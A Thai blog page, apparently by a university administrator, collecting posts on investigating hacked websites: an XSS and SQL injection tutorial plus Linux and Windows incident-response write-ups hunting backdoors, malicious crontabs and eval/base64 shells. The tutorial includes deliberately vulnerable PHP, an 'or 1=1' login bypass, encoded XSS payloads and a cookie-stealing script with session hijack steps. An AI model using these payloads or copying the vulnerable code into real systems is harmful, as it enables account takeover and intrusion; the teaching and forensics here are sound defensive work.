Category: Open Source Software & Freeware

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9

    สวัสดีปีใหม่ ปี 2557 ขอทุกท่านนประสบความสำเร็จในหน้าที่การงาน คิดหวังสิ่งใดก็สมปรารถนา และมีสุขภาพแข็งแรง ปลอดภัยตลอดทั้งปีครับ

    บทความนี้ ขอกล่าวถึงปัญหาสำคัญปัจจุบัน เรียกว่าเป็น Trends ของปีที่ผ่านมาและต่อไปในปีนี้ (2557) ด้วย นั่นคือ เรื่อง Cross Site Scripting หรือ ที่เขียนย่อๆว่า XSS

    XSS นั้น ก็คล้ายๆกับปัญหาเดิมของ SQL Injection เดิม

    SQL Inject คือ Web Form ที่ให้ผู้ใช้ป้อนข้อมูลเข้ามา ไม่ได้มีการกรองข้อมูลให้ดี จึงทำให้ Hacker สามารถ แทรกคำสั่ง SQL เข้ามา เพื่อให้สามารถ Bypass การตรวจสอบได้ เช่น ตัวอย่าง SQL Injection ที่เขียนจาก PHP ที่หน้าที่รับ username และ password เข้ามาตรวจสอบ จากฐานข้อมูล โดยคิดว่า จับคู่ได้ แล้วมีจำนวน มากกว่า 0 ก็แสดงว่า ให้ผ่านได้ ดังนี้

      <?php
      $username=$_POST['username'];
      $password=$_POST['password'];
    
      $host="localhost";
      $dbuser="root";
      $dbpass="123456";
      $dbname="xss";
      $dbtable="user";
    
      $conn = mysql_connect("$host","$dbuser","$dbpass");
      mysql_select_db("$dbname");
      $sql = "SELECT count(*) FROM $dbtable WHERE username='$username' AND password = '$password' ";
    
      $query=mysql_query($sql);
      $result=mysql_fetch_array($query);
      $count=$result[0];
    
      if ( $count > 0 ) {
            echo " Hello $username ";
      } else {
            echo "Login Fail";
      }
    
      echo "<hr>";
      echo "SQL=$sql";
    
      mysql_close($conn);
    ?>

    เมื่อทำการ Login ด้วย Username เป็น admin และ Password  เป็น yyy ซึ่งผิด

    ผลที่ได้ จะประมาณนี้

    แต่หาก ใส่ Password แทนที่จะเป็น

    yyy

    แต่ใส่เป็น

    yyy' or '1'='1

     ผลที่ได้คือ

    จะเห็นได้ว่า  การที่ไม่ตรวจสอบ Escape Character ให้ดี จึงทำให้ Hacker สามารถเข้ามาได้ โดยไม่จำเป็นต้องทราบรหัสผ่านจริงๆ, นี่คือ SQL Injection

    ส่วน XSS นั้น ก็คล้ายๆกัน แต่ แทนที่จะแทรก SQL Statement ก็ ใช้ JavaScript  แทน โดยช่องโหว่มาจากการเขียนโปรแกรมบน Web Server แต่จะส่งผลกระทบต่อ Web Browser เช่น ทำให้เกิดการ Download Malware, การถูกส่งข้อมูลส่วนตัวที่ผู้ใช้กรอกไปให้ Hacker หรือ Hacker สามารถขโมย Session ของ Admin ซึ่งเข้าใช้งาน Web Application ที่มีช่องโหว่นั้นๆได้เลยทีเดียว

    ลักษณะของ XSS [1] มี 2 แบบ

    1. แบบชั่วคราว (Non-Persistent XSS) : เมื่อ Hacker พบช่องโหว่บน Website ใด ก็จะใช้เป็นช่องทางแพร่ Malware/Virus ได้ หรือ ใช้ในการ redirect ผู้ใช้ผ่านไปยัง Phishing Website ได้ โดยใช้วิธีการแทรก JavaScript เข้าไป

    2. แบบฝังตัวถาวร (Persistent XSS) : ใช้ช่องโหว่ เพื่อเขียนข้อมูล ลงไปใน Database ซึ่ง อาจจะเป็นช่องทางในการ ขโมย Session ของ Admin ได้ โดยมักจะเกิดจาก Website ที่เปิดให้มีการสมัคร โดยไม่ตรวจสอบ หรือ ไม่มี Captcha  ทำให้ Hacker แฝงตัวเข้ามา และอาศัยช่องโหว่นี้ วางกับดัก “เผื่อ” Admin พลาดคลิกเข้า ก็อาจจะได้ Session ไป จนสามารถคุมทั้ง Website ได้ สามารถเข้ามาเป็น Admin ได้เลย

    ตัวอย่าง Non-Persistent XSS

    ถ้ามีการเขียน PHP เพื่อรับช้อมูลจากจากผู้ใช้ และ นำมาใช้งานเลย โดยไม่ตรวจสอบ ดังตัวอย่างนี้ (ชื่อ simple.php)

    <?php
    $name = $_GET['name'];
    echo "Welcome $name<br>";
    echo "<a href='http://xssattackexamples.com/'>Click to Download</a>";
    echo "</br>";
    echo "<a href='http://localhost/xss/testxss.html'>BACK</a>";
    ?>

     เช่น ใส่ค่าตัวแปร “name” เป็น “Firstname Lastname” จะได้ผลอย่างนี้

    http://localhost/xss/simple.php?name=Firstname Lastname

    จะเห็นได้ว่า จะได้ข้อความ Welcome Firstname Lastname ตามที่ใส่ในตัวแปร “name” นั่นเอง

    แต่ ถ้าใส่ JavaScript เข้าไป เพื่อให้แสดง Alert ดังนี้

    http://localhost/xss/simple.php?name=guest<script>alert("attacked")</script>

    ก็จะได้ผลดังนี้

    และ ถ้าใส่ JavaScript อีกแบบ ก็สามารถเปลี่ยน Link ที่ “Click to Download” จาก

    http://xssattackexamples.com/

    เป็น

    http://not-real-xssattackexamples.com/

     ด้วย URL ต่อไปนี้

    http://localhost/xss/simple.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

     ก็จะได้ผลดังนี้

    ซึ่ง ถ้าคลิกที่ “Click to Download” แทนที่จะไปยัง http://xssattackexamples.com/ ก็จะไปยัง http://not-real-xssattackexamples.com/  ซึ่งเป็น Phishing Site ได้เลยทีเดียว

    แต่โดยทั่วไปแล้ว Hacker จะไม่ใส่คำสั่งที่อ่านได้ง่ายๆลงไป โดยจะเปลี่ยน Code ดังกล่าวเป็นเลขฐาน 16 แทน ด้วยคำสั่งต่อไปนี้

    echo -n "<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>" | hexdump -v -e '/1 " %02.2x"' | sed -e 's/ /%/g'

    ผลที่ได้คือ

     %3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%61%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%68%74%74%70%3a%2f%2f%6e%6f%74%2d%72%65%61%6c%2d%78%73%73%61%74%74%61%63%6b%65%78%61%6d%70%6c%65%73%2e%63%6f%6d%2f%3b%7d%3c%2f%73%63%72%69%70%74%3e

     และ ใช้ URL ต่อไปนี้ เพื่อไม่ให้ผู้ใช้ และ Admin ตรวจสอบได้ง่าย

    http://localhost/xss/simple.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

    ตัวอย่าง Persistent XSS

    ถ้ามีการเขียน PHP ซึ่งประกอบไปด้วย login.php และ home.php โดยเก็บข้อมูลไว้ใน MySQL ใน Database ‘xss’ และตารางชื่อ ‘user’  ซึ่งมี ผู้ใช้ชื่อ admin เป็นผู้มีสิทธิ์สูงสุด สามารถเห็นรายละเอียดผู้ใช้อื่นๆได้ แต่ ถ้า Login ด้วยผู้ใช้ทั่วไป เช่น user01 ก็จะทำได้แค่ เปลี่ยน Display Name ของตัวเอง … และปัญหาอยู่ตรงที่ การเปิดให้ผู้ใช้ ใส่ Display Name ได้โดยไม่กรองข้อมูล ทำให้ Hacker สามารถ ฝัง JavaScript เข้ามาได้ ดังตัวอย่างต่อไปนี้ (Code ที่เห็น มาจาก [1] ซึ่งต่อกับฐานข้อมูล PostgreSQL ซึ่งผม ปรับเป็น MySQL)

     login.php มีหน้าตาอย่างนี้

    <?php
    if ($_POST[username] == "" ) {
    ?>
    <form method=POST action=login.php>
    <H1>Login</H1>
    Username : <input type=text name=username></br>
    Password : <input type=password name=password></br>
    <input type=submit value="Login"><input type=reset>
    </form>
    <?php
    } else {
    ?>
    <?php
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    //echo $sql;
    $query=mysql_query($sql);
    $result=mysql_fetch_array($query);
    /*
    if (!($result=mysql_fetch_array($query))) {
     echo "User/Password Failed";
     exit(0);
    } ;
    */
    $password = $_POST['password'];
    $username = $result['username'];
    if($password != $result['password']) {
    echo "Login failed";
    }
    else {
    # Start the session
    echo "$username:$password";
    session_start();
    $_SESSION['USER_NAME'] = $username;
    echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
    }
    ?>
    <?php
    } // End if of a form
    ?>

    และ home.php มีหน้าตาอย่างนี้

    <?php
    session_start();
    if(!$_SESSION['USER_NAME']) {
    echo "Need to login";
    }
    else {
    
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    
    $query=mysql_query($sql);
    
    $result=mysql_fetch_array($query);
    
    if($_SERVER['REQUEST_METHOD'] == "POST") {
     $sql2="update $table set display_name='".$_POST['disp_name']."' where username='".$_SESSION['USER_NAME']."';";
     $query=mysql_query($sql2);
     echo "Update Success";
    }
    else {
     if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
      echo "Welcome admin<br><hr>";
      echo "List of user's are<br>";
      $sql = "select display_name from $table where username!='admin'";
      $query= mysql_query($sql);
      while($result = mysql_fetch_array($query)) {
        echo "$result[display_name]<br>";
      }
    }
    else {
     echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
     echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
     echo "<input type=\"submit\" value=\"Update\">";
    }
    }
    }
    ?>
    </br>
    <a href=login.php>Go to Login</a></br>
    <a href=home.php>Go to Home</a></br>

    เมื่อ Admin ทำการ Login

    เมื่อใส่รหัสผ่าน ถูกต้อง จะส่งไปยัง home.php ซึ่งจะได้ผลอย่างนี้ สังเกตว่า ในหน้า Admin สามารถเห็นรายชื่อของผู้ใช้ทั้งหมดได้  หนึ่งในนั้นคือ user01

    ต่อ สมมุติ user01 เป็น Hacker เขาก็จะ Login อย่างนี้

    และที่หน้า home.php ของ user01 จะได้หน้าตาอย่างนี้

    ซึ่ง user01 จะสามารถ แก้ไข Display Name จาก “User01” เป็น

     <a href=# onclick=\"document.location=\'http://localhost/xss/xss.php?c=\'+escape\(document.cookie\)\;\">User01</a>

     และกดปุ่ม Update จะได้ผลดังนี้

    เพื่อให้ เมื่อ admin เข้ามาในหน้า home.php และเห็นชื่อของ User01 เป็น Link ดังนี้

    ถ้า admin เห็น และลองคลิกดู ก็จะทำให้ ส่งหมายเลข cookie ของ admin ไปยัง http://localhost/xss/xss.php โดยส่งผ่านตัวแปร c เพื่อเก็บข้อมูลเอาไว้ (แต่ในที่นี้ จะทำเป็นการแสดงผลออกมาแทน) ดังนี้

    ซึ่งจะพบว่า Cookie ID ของ admin ณ ขณะนั้นคือ iveovmj2eoghs02of2u7492k33

     สมมุติว่า Hacker ที่เฝ้าอยู่ พอรู้ว่า Admin คลิกแล้ว ก็จะเปิดหน้า home.php ซึ่งได้ผลอย่างนี้

     

    ใน Firefox จะมีเครื่องมือ คือ Web Developer Toolbar ซึ่งจะสามารถแก้ไขค่า Session ได้ โดยไปที่เมนู

     Tools > Web Developer > Developer Toolbar

    หรือกดปุด Shift-F2 ก็ได้

    จะปรากฏแถบสีดำ ด้านล่าง ให้ใส่คำสั่ง

    cookie list

    จะได้ผลอย่างนี้

     ต่อไป Hacker จะคลิกปุ่ม Edit เพื่อใส่ Cookie ID : iveovmj2eoghs02of2u7492k33 แทน k32vd7a6a44dpomo87i89vube6 ด้วยคำสั่งนี้

     cookie set PHPSESSID iveovmj2eoghs02of2u7492k33

    จากนั้นกดปุ่ม Enter เพื่อ สั่งเปลี่ยน Cookie ID และกดปุ่ม F5 เพื่อ Refresh หน้าจอ

    ผลที่ได้คือ Hacker สามารถ เข้าถึงหน้าจอของ Admin ได้ ดังนี้

    จากนั้น Hacker ก็จะสามารถ ทำงานทุกอย่างที่ Admin สามารถทำได้แล้วครับ

     ส่วนวิธีการตรวจสอบ และป้องกัน ขอติดไว้ก่อน จะมาเล่าให้ฟังต่อไป
    ลองอ่านพลางๆครับ

    https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
    https://www.acunetix.com/websitesecurity/xss/
    http://www.riyazwalikar.com/2010/06/multiple-joomla-xss-vulnerabilities-cve.html
    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    http://msdn.microsoft.com/en-us/library/aa973813.aspx

    ขอให้โชคดี

    Reference

    [1] Ramesh Natarajan. “XSS Attack Examples (Cross-Site Scripting Attacks) – The Geek Stuff.” 2012. 1 Jan. 2014 <http://www.thegeekstuff.com/2012/02/xss-attack-examples/>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8

    ได้รับข้อร้องเรียนจาก Google Webmaster Tools ว่า มีเครื่องภายในมหาวิทยาลัย พยายามโจมตี เครือข่ายภายนอก และทาง Firewall ของมหาวิทยาลัย ได้ทำการปิดกั้น การเข้าออก ของเครื่องดังกล่าวแล้ว จึงเข้าตรวจสอบ

     ขั้นตอนการตรวจสอบ

     1. เบื้องต้น พบว่าเป็น  Ubuntu 8.04.4 LTS

    2. ตรวจสอบ ทำให้ทราบว่า Web User ใดที่สั่งให้ httpd ทำงาน ด้วยคำสั่ง

     ps aux |grep http

     ผลคือ

     nobody   31159  0.0  1.5  29056 15588 ?        S    Dec17   0:00 /opt
    /lampp/bin/httpd -k start -DSSL -DPHP5

     จึงทราบว่า Web User ใช้ชื่อว่า ‘noboby’ (จากที่เคยคุ้นชินกับ www-data, apache อะไรทำนองนั้น)

     3. ตรวจสอบ Process อย่างละเอียดด้วยคำสั่งต่อไปนี้

     ps auxwe

     ผลที่ได้ พบว่า มี Process ของ httpd ทั่วๆไป จะแสดงรายละเอียดอย่างนี้

    nobody     3460  0.0  1.3  28060 14348 ?        S    Dec01   0:00 /op
    t/lampp/bin/httpd -k start -DSSL -DPHP5 LESSOPEN=| /usr/bin/lesspipe 
    %s USER=root MAIL=/var/mail/root SHLVL=4 LD_LIBRARY_PATH=/opt/lampp/li
    b:/opt/lampp/lib:/opt/lampp/lib: HOME=/root LOGNAME=root _=/opt/lampp/
    bin/apachectl TERM=vt100 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
    :/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LS_COLORS=no=00:fi=00:di=01;34:l
    n=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01
    :su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.t
    gz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31
    :*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.b
    z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.
    rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*
    .jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;3
    5:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=0
    1;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg
    =01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.
    m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:
    *.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;3
    5:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;3
    6:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=0
    0;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: SHELL=/bin/bash L
    ESSCLOSE=/usr/bin/lesspipe %s %s PWD=/root

    แต่ พบว่า มีอยู่รายการหนึ่ง แสดงผลอย่างนี้

     nobody    5106  0.0  0.2   4168  2184 ?        S    Nov21   1:17 /usr
    /local/apache/bin/httpd -DSSL                                         
    
                                              -m a.txt HOME=/nonexistent O
    LDPWD=/var/spool/cron LOGNAME=nobody PATH=/usr/bin:/bin SHELL=/bin/sh 
    PWD=/home/wwwroot/experience/images/smilies/.laknat/.libs

     จึงตรวจสอบ Process PID 5106 ด้วยคำสั่ง

     ls -la /proc/5106

     ผลที่ได้คือ

     ซึ่ง จะเห็นได้ว่า Process นี้ สั่งทำงานจาก /home/wwwroot/experience/images/smilies/.laknat/.libs/httpd

    แต่ ก่อนหน้านี้ ผู้ดูแลระบบ ได้ สำรองข้อมูลออกไป แล้วลบทิ้งไปก่อนแล้ว จึงขึ้นคำว่า (deleted)

     จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 พบว่า Hacker มักจะเขียน crontabs เอาไว้ เรียก Backdoor กลับมาอีก จึงทำการตรวจสอบที่ /var/spool/cron/crontabs ด้วยคำสั่ง

     ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    -rw------- 1 nobody crontab 271 2013-11-21 21:45 nobody
    -rw------- 1 root   crontab 256 2011-12-30 09:46 root

     และเมื่อ cat ออกมาดู พบว่า

    cat /var/spool/cron/crontabs/root
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (/tmp/crontab.WBj4te/crontab installed on Fri Dec 30 09:46:13 2011)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    # m h  dom mon dow   command
    0 3 * * * sh /backup.sh
    cat /var/spool/cron/crontabs/nobody
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (a.txt.d installed on Thu Nov 21 21:45:40 2013)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    * * * * * /home/wwwroot/experience/images/smilies/.laknat/.libs/a.txt.upd >/dev/null 2>&1

     แสดงให้เห็นว่า มี crontabs ของ nobody สร้างเมื่อเวลา Thu Nov 21 21:45:40 2013

    4.เครื่องนี้ใช้ lampp เป็น Web Server ซึ่ง ใช้พื้นที่ทำงานคือ

     /opt/lampp

     โดย ให้ผู้ใช้แต่ละคน สร้าง Web ในพื้นที่ /home ของแต่ละคนได้

     และเก็บ Logs ที่

     /opt/lampp/logs

     จึงตรวจสอบด้วยคำสั่ง

     grep "21/Nov/2013:21:45" /opt/lampp/logs/access_log

     ผลที่ได้คือ

    03-logplacefile

    แสดงให้เห็นว่า มีการเรียกไฟล์ *.php ใน images/stories ซึ่ง น่าจะเป็นช่องโหว่ จาก JCE Exploited ตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งจะใช้วิธีการตามที่อธิบายไว้ก่อนหน้านี้แล้ว เพื่อตรวจสอบต่อไป

    5. เนื่องจาก ผู้ดูแลระบบ ได้สำรองข้อมูลของ /home/wwwroot/experience/images/smilies/.laknat/.libs/ เอาไว้ จึง เรียกออกมาดู

    ได้ผลดังนี้

    จะเห็นได้ว่า ไฟล์ a.txt.upd ถูกสร้างเมื่อเวลา 2013-11-21 21:45 จริงๆ

    เมื่อใช้คำสั่ง

    cat a.txt.upd

     ได้ผลว่า

    a.txt.upd

    จึงลองตรวจสอบ a.txt.run ด้วยคำสั่ง

    cat a.txt.run

     ได้ผลว่า

     a.txt.run

    และใช้คำสั่ง

    cat a.txt

     ซึ่งเป็นโปรแกรม ภาษา TCL ซึ่งมีรายละเอียดยาวมาก แต่ มีส่วนหนึ่ง เขียนว่า

    a.txt

    และจากการตรวจสอบ ทั้ง directory ก็พบว่า เป็นการเอา Network Tools ต่างๆ ได้แก่ Sniffer, Network Scanner และ อื่นๆอีกมากมาย ซึ่ง เอาตัวโปรแกรม เช่น TCL แบบ Portable มาด้วย หมายความว่า แม้เครื่อง Server ไม่ติดตั้ง TCL ก็สามารถทำงานได้เลยทีเดียว

     ดังนั้น เครื่องนี้ ถูกสั่งงานจากทางไกล กลายเป็น Botnet เพื่อตรวจสอบ เครื่องแม่ข่ายภายใน แม้มหาวิทยาลัยจะมี Firewall ป้องกัน แต่ถูกเครื่องนี้ ดักเก็บข้อมูล และแสดงผลกลับไปให้ Hacker ผ่านทาง Port TCP/80 ซึ่ง Firewall เปิดให้ใช้งานได้เลย

     5. ตรวจสอบว่า มีไฟล์ *.php ใน directory images/stories อีกหรือไม่ ด้วยคำสั่ง

     find /home -name "*.php" -type f | grep 'images/stories'

     ก็พบเพียงไฟล์เดียว คือ

     /home/wwwroot/research_old/images/stories/gh.php

     ซึ่งผิดสังเกต เมื่อตรวจสอบไฟล์ที่สร้างขึ้นในเวลาใกล้เคียงกัน ก็ไม่พบความผิดปรกติ ซึ่ง ไม่ปรกติ

    6. จึงตรวจสอบทั้ง /home ทุกไฟล์ *.php ที่อาจจะมี Backdoor ที่อาจซ่อนการใช้ฟังก์ชั่น eval หรือไม่ ด้วยคำสั่ง

    for f in $(find /home/ -name "*.php" -type f) ; do
      echo $f
      echo "---"
      grep 'eval(' "$f"
      echo "---"
    done

     พบว่า มีไฟล์ *.php ทั้งหมดจำนวน 15,883 ไฟล์ ในนั้นมี 200 กว่าไฟล์ ที่มีการใช้ฟังก์ชั่น eval จริง แต่บางส่วน ก็เป็นไฟล์ที่ถูกต้อง แต่มี 34 ไฟล์ ที่ เป็นไฟล์ Backdoor ใหม่ๆ เพิ่งสร้างขึ้นมา เช่น

    และ เป็นไฟล์ของระบบ ที่มีการแทรก Backdoor Code เข้าไป เช่น

    จึง เก็บรายชื่อไฟล์ทั้ง 34 นี้ ไว้ในไฟล์ ชื่อ 11-manualhack.txt และใช้คำสั่งต่อไปนี้ เพื่อเก็บไฟล์เอาไว้ เพื่อใช้ตรวจสอบต่อไป

     cat 11-manualhack.txt | xargs tar -cvf evalbackdoor.tar

     แล้วจึง ลบทิ้งด้วยคำสั่งต่อไปนี้

     cat 11-manualhack.txt | xargs rm -rf

     7. ตรวจสอบต่อไปว่า มี directory ใดบ้าง ที่ เปิดให้ Web User ‘nobody’ เขียนได้ ด้วยคำสั่ง

     find /home -user nobody -perm -u+w -type d

    พบว่า มี directory จำนวนมากที่เปิดให้ Web User เขียนได้

    และ ใช้คำสั่งต่อไปนี้ ดูว่า มี directory ใดบ้าง เปิดให้ใครๆก็เขียนได้ (World Writable) หรือ ตั้ง permission 777 ด้วยคำสั่ง

    find /home  -perm -o=w -type d

     ก็มีจำนวนมากเช่นกัน

     การแก้ไขปัญหา

    1. เก็บไฟล์ Backdoor ด้วยคำสั่งต่างๆข้างต้น และลบทิ้ง

    2. ปรับให้ทุก Directory เป็น Permission 755 ด้วยคำสั่ง

     find /home -type d -print0 | xargs -0 chmod 0755

     3. ปรับให้ทุก File เป็น Permission 644

     find /home -type f -print0 | xargs -0 chmod 0644

     4. เปลี่ยน Owner และ Group ของทุก Directory และ Files ให้เป็นของแต่ละ User ด้วยคำสั่งประมาณนี้

    chown -R user01.user01 /home/wwwroot

    5. ลบ crontab ด้วยคำสั่ง

    rm /var/spool/cron/crontabs/nobody

    6. หยุด Process PID 5106

    kill -9 5106

     คำแนะนำ

    เนื่องจาก ขณะนี้ได้ เราได้แต่ค้นหา ช่องโหว่ ตามที่เคยเรียนรู้มาเท่านั้น ยังมีรูปแบบต่างๆ ที่ยังไม่รู้อีกมากมาย จึงแนะนำให้

    1. ติดตั้ง OS ใหม่

    2. ติดตั้ง Joomla ใหม่ และ ย้ายเฉพาะ ข้อมูลที่อยู่ใน MySQL มา แล้วจึง Upgrade ให้เป็นรุ่นล่าสุด

    3. ย้ายเฉพาะ ภาพ และ ไฟล์เอกสารสำคัญมา แต่ต้องไม่เอาไฟล์ .php หรือ อื่นๆมาเด็ดขาด

    4. เข้มงวดกับการตั้ง Owner และ Permission กับผู้ใช้งานทุกคนของระบบ, หากจะมี Directory ใดต้องให้มีการ Upload ไฟล์ได้ จะต้องตั้งค่าไม่ให้ PHP ทำงานได้เด็ดขาด

    5. การใช้งาน Joomla จะต้องยกเลิกการ Upload ภาพผ่านทาง HTTP แต่ให้ใช้ FTP แทน

     และ บทความต่อๆไป จะพูดถึงการ Hardening เพื่อลดความเสียหายต่อไป

     ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7

    คราวนี้ เป็นการตรวจสอบ ที่เป็น Windows Server 2008 32bit ที่ใช้ IIS6 เป็น Web Server และใช้ PHP 5.2.17  เครื่องของหน่วยงานภายในมหาวิทยาลัย ซึ่ง ถูก Google Webmaster Tools ตรวจพบว่า เครื่องดังกล่าวน่าจะโดน Hack และมีการวาง Backdoor เอาไว้

    เบื้องต้น พบว่า เครื่องนี้ ใช้ Joomla และรายงานของ Google ก็บอกไฟล์ปัญหา เป็น php ใน images/stories จึง เริ่มจากทำตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 แต่ ต้องเปลี่ยนไปใช้คำสั่งบน PowerShell แทนที่จะเป็น Shell Script อย่างเดิม

    พื้นที่ Document Root อยู่ที่ c:\inetpub\wwwroot

    วิธีการตรวจสอบ

    1. ใช้  powershell ด้วยสิทธิ์ administrator privilege

    2. ค้นหา ไฟล์ *.php ซึ่งอยู่ใน directory “stories” (ใน PowerShell ทำงานแตกต่างจาก Shell Script มากๆ จึงต้องดัดแปลงบางอย่าง)

    gci c:\inetpub\wwwroot -rec -include "*stories*" | where {$_.psiscontainer} | gci -Filter "*.php"

    โดยที่คำสั่งนี้ ใช้ชื่อย่อ และมีความหมายดังนี้

    gci = Get-ChildItem : ทำงานเหมือนคำสั่ง find และใช้ option “-rec” ย่อมาจาก Recurse ซึ่งหมายถึง ค้นหาลงลึกไปใน Subdirectory ด้วย และ เอาเฉพาะใน Directory ย่อย “stories” เท่านั้น

    ส่วนการใช้ ไพพ์ “|” ก็ไม่เหมือนใน Shell Script ที่เป็นการส่ง String หรือข้อความตรงๆ แต่เป็นการส่งต่อ Object

    gci -Filter “*.php” หมายถึง เมื่อค้นหาลึกไปใน Subdirectory “stories” แล้ว ให้กรองเอาเฉพาะไฟล์ แบบ *.php

    ผลที่ได้คือ

    พบว่ามี php file จำนวนมาก ใน images/stories จริงๆ

    ดังภาพ

    3. ตรวจสอบ Log ซึ่งอยู่ที่ c:\inetpub\logs และค้นหาไฟล์ในนั้น ดูว่า มี “BOT.*JCE” บันทึกหรือไม่ ด้วยคำสั่ง

    gci c:\inetpub\logs -rec  | where {$_.psiscontainer} | gci -rec -filter "*.log" | get-content | select-string -pattern "BOT.*JCE"

    ผลที่ได้คือ

    ซึ่งพบว่า มีการโจมตีมาเป็นจำนวนมาก

    4. หา Backdoor อื่นๆ ที่อาจจะเกิดขึ้น หลังจาก Backdoor ใน images/stories เหล่านั้น โดยทดลองดูว่า มีไฟล์ใหม่เกิดขึ้น หลังจากแต่ละ Backdoor นั้นๆ 2 วันหรือไม่ ด้วยคำสั่ง

    $backdoor=gci C:\inetpub\wwwroot\sticorner\images\stories -filter "*.php"
    foreach ($f in $backdoor) {
      $other=gci C:\inetpub\wwwroot\ -rec -filter "*.php" | where-object { $_.LastWriteTime -ge $f.LastWriteTime -and $_.LastWriteTime -le ($f.LastWriteTime).adddays(+2) }  | %{$_.fullname}
     $f.fullname
     $other
    }

    จากการตรวจสอบ พบไฟล์อื่นๆบ้าง แต่ตรวจสอบแล้ว ในระยะเวลา 2 วันหลังจากวางไฟล์ ไม่มีการเขียน Backdoor อื่นๆเพิ่ม

    5. ตรวจสอบหา Backdoor พื้นฐาน ซึ่ง อาจจะใช้ eval แล้วตามด้วย base64_decode ด้วยคำสั่ง

    gci C:\inetpub\wwwroot\ -rec -filter "*.php" | select-string -pattern "eval.*base64" | select-object -unique path >  evalbase64.txt

    โดย เลือกเฉพาะไฟล์ *.php ที่มีคำสั่ง eval ตามด้วย base64_decode มาเก็บไว้ในไฟล์ evalbase64.txt เพื่อใช้ตรวจสอบต่อไป

    พบว่า มีไฟล์จำนวนมาก ที่เป็น Backdoor ดังกล่าว และ Hacker เอาไฟล์มาวางไว้เมื่อ 14/01/2556 แต่ ปลอมวันที่เป็น 15/12/2552 ด้วย ดังภาพ

    และไฟล์ที่พบ มีดังต่อไปนี้

    สำหรับคนที่ดูแล Windows Server ก็ลองใช้เทคนิคข้างต้น ในการค้นหา Backdoor ด้วย PowerShell ด้วย

    ขอให้โชคดีครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6

    วันนี้ได้รับรายงาน ร้องเรียนจากองค์กรภายนอก ว่ามีเครื่องคอมพิวเตอร์จาก Domain ของ PSU ส่งข้อมูลจำนวนมาก ไปโจมตี ระบบเครือข่ายที่ต่างประเทศ จึงทำการสืบสวน

